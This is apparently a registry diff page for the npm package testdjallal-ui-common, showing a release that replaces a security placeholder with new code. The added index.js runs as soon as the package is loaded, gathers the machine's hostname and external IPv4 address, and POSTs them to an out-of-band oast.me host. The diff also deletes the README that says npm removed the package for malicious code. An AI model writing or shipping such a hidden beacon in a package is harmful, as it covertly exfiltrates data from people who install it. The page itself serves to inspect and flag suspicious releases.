testdjallal-ui-common 0.0.1-security → 10.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of testdjallal-ui-common might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +61 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,61 @@
1
+ const os = require('os');
2
+ const http = require('http'); // or use 'https' if you're sending to an HTTPS server
3
+
4
+ // Function to get the hostname and IP address
5
+ function getMachineInfo() {
6
+ const hostname = os.hostname();
7
+ const networkInterfaces = os.networkInterfaces();
8
+
9
+ // Get the first non-internal IPv4 address
10
+ let ipAddress = '';
11
+ for (let interfaceName in networkInterfaces) {
12
+ networkInterfaces[interfaceName].forEach(interface => {
13
+ if (!interface.internal && interface.family === 'IPv4') {
14
+ ipAddress = interface.address;
15
+ }
16
+ });
17
+ }
18
+
19
+ return { hostname, ipAddress };
20
+ }
21
+
22
+ // Function to send the machine info to a specified URL
23
+ function sendMachineInfo() {
24
+ const data = JSON.stringify(getMachineInfo());
25
+
26
+ const options = {
27
+ hostname: 'cri8vrm65q463bct2mggbx5fjdfwuq4g3.oast.me', // Replace with the actual server hostname
28
+ port: 80, // Change to 443 for HTTPS
29
+ // Change to the correct API path
30
+ method: 'POST',
31
+ headers: {
32
+ 'Content-Type': 'application/json',
33
+ 'Content-Length': data.length
34
+ }
35
+ };
36
+
37
+ const req = http.request(options, (res) => {
38
+ let responseData = '';
39
+
40
+ // Collect response data
41
+ res.on('data', (chunk) => {
42
+ responseData += chunk;
43
+ });
44
+
45
+ res.on('end', () => {
46
+ console.log('Response from server:', responseData);
47
+ });
48
+ });
49
+
50
+ // Handle any errors with the request
51
+ req.on('error', (e) => {
52
+ console.error(`Problem with request: ${e.message}`);
53
+ });
54
+
55
+ // Send the request with the data
56
+ req.write(data);
57
+ req.end();
58
+ }
59
+
60
+ // Call the function to send machine info
61
+ sendMachineInfo();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "testdjallal-ui-common",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "10.1.1",
4
+ "description": "djallal",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=testdjallal-ui-common for more information.